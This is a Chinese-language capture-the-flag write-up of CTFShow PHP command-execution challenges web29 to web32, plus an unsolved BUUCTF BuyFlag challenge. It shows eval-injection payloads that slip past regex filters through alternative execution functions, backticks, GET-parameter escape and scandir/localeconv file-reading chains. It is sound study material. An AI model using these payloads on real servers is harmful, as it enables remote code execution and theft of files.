以为一些特殊的变故,BUUCTF平台的靶机又又又又崩了,这次讲平台换成了CTFShow。

大部分以白盒审计为主。

CTFSHOW题目之命令执行:

web29

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

唯一的过滤

这里过滤用到的是正则表达式的preg_match过滤,但仅仅过滤一个字符串flag,所以解题的方法很简单:

首先得到列表:
?c=system('ls');
// 返回
index.php flag.php
然后返回flag:
?c=system('tac fla*');
// 返回
$flag = 'ctfshow{4f4f8ebc-f45a-404e-bf93-f603de2221a0}'; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-04 00:14:17 # @Last Modified by: h1xa # @Date: 2020-09-04 00:14:07 # @Author: h1xa # -*- coding: utf-8 -*- /*

第一题往往是最简单的啦~

web30

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解题

过滤的信息增加了,这次过滤掉了常用的system,解开的办法自然就是:尝试任何绕开限制的函数。

// 官方的wp
?c=echo `nl fl''ag.p''hp`;
// 我寻的替代函数:
?c=passthru('tac f*');

收获

下面的是执行外部命令的函数,一般遇到的都是Linux命令。

类似 system() 功能的php执行函数:
exec()、shell_exec()、passthru() 和 system() proc_open() popen()
另外:
``, $()

web31

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

解题

和上面一样,增加了正则表达式的限制函数以及特殊符号,大概解释下这些都是什么东西:

"/flag|system|php|cat|sort|shell|\.| |\'/i"
限制的字符串:
flag,php,空格,. ,',shell '
限制的函数:
system 执行命令用的
cat 回显文件内容的
sort 排序函数

get参数逃逸

和前面一样,一般有很多解法,这里使用的是get参数逃逸,还有官方提到的那个不知道是什么的wp

参数逃逸:
表面一看都知道这是什么意思,不多做解释了。
?c=eval($_GET[1]);&1=system('tac flag*');



官方WP
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));



scandir() 函数:
scandir() 函数用于扫描指定目录,并返回该目录中的文件和子目录列表。
它接受一个字符串参数,表示要扫描的目录路径。
在这个代码中,scandir(pos(localeconv()))
将会扫描 localeconv() 返回的 "LC_TIME" 字段所指定的目录,
并返回目录中的文件和子目录列表。

array_reverse() 函数:
array_reverse() 函数会将数组中的元素顺序反转。
在这个代码中,array_reverse(scandir(pos(localeconv())))
将会反转 scandir() 返回的目录列表,使得列表中的元素逆序排列。

next() 函数:
next() 函数用于将数组的内部指针移动到下一个元素,并返回当前元素的值。
在这个代码中,next(array_reverse(scandir(pos(localeconv()))))
将返回逆序后目录列表的第一个元素。

show_source() 函数:
show_source() 函数会读取指定文件的内容,并将其作为纯文本显示在页面上。
它接受一个字符串参数,表示要显示源代码的文件路径。
在这个代码中,show_source(next(array_reverse(scandir(pos(localeconv())))))
将会显示逆序后目录列表的第一个文件的源代码。

pos(localeconv()) 是一个函数调用,用于获取当前的本地化设置中的 "LC_TIME" 字段的值。以下是对该部分代码的详细解析:

localeconv() 函数:
localeconv() 是 PHP 的一个内置函数,用于获取当前的本地化设置。
它返回一个关联数组,包含与当前本地化设置相关的各种数值格式选项。
本例中使用 localeconv() 的目的是访问该数组中的 "LC_TIME" 字段。

"LC_TIME" 字段:
"LC_TIME" 字段是 localeconv() 返回的关联数组中的一个键名(key name)。
它表示与时间和日期格式相关的本地化信息。

其中,pos(localeconv()返回的是当前目录 "."
剩下的,就是查目录,转为数组,把数组顺序翻转,读取文件。

根据上面还能衍生出一些常用函数的解法:

?c=var_dump(file_get_contents(scandir(pos(localeconv()))[2]));
?c=var_dump(file_get_contents(scandir(chr(46))[2]));
// 使用数组返回当前目录数组,并且从数组当中找到flag,把flag内容高亮显示
?c=highlight_file(scandir(chr(46))[2]);

收获

这里的收获挺多的,一个是get参数逃逸,另一个是常用函数的另外一种写法挖掘flag。

参数逃逸形如:
?a=$_GET[1];&1=system('tac fla*');
其它常见函数,例如代码高亮显示和var_dump展示数据等。

web32

原设信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解题

之前的所有方法都有一个缺陷,依赖的都是括号。

暂时放弃

BUUCTF

[极客大挑战 2019]BuyFlag

原始信息

除去了从找到两个前端网页外,发现了这个源代码:

~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

还有网页提示的什么一个亿和学生的身份。

Flag need your 100000000 money


attention
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
Only Cuit's students can buy the FLAG

解题

暂时略,后面补充